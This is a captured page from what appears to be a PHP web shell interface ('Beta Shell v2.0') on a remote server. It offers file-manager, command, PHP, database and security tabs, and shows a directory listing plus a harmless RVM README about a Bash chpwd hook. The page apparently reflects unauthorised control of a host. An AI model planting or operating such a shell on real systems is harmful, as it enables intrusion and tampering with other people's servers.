Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
local
/
rvm
/
src
/
rvm
/
scripts
/
extras
/
bash_zsh_support
/
chpwd
Upload
5 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
README.md
610 B
-rw-rw-r--
2021-01-15 18:41:29
Edit
Del
function.sh
339 B
-rw-rw-r--
2021-01-15 18:41:29
Edit
Del
load.sh
185 B
-rw-rw-r--
2021-01-15 18:41:29
Edit
Del
Editing: README.md
(610 B)
Path: /usr/local/rvm/src/rvm/scripts/extras/bash_zsh_support/chpwd/README.md
Back
# Bash support for Zsh like chpwd hook Implemented based on the description from http://zsh.sourceforge.net/Doc/Release/Functions.html#Hook-Functions ## Usage 1. load `function.sh` and `load.sh`, eg: source chpwd/functions.sh source chpwd/load.sh 2. add the hook - replace `_hook_name` with your function name: export -a chpwd_functions # define hooks as an shell array [[ " ${chpwd_functions[*]} " == *" _hook_name "* ]] || # prevent double addition chpwd_functions+=(_hook_name) # finally add it to the list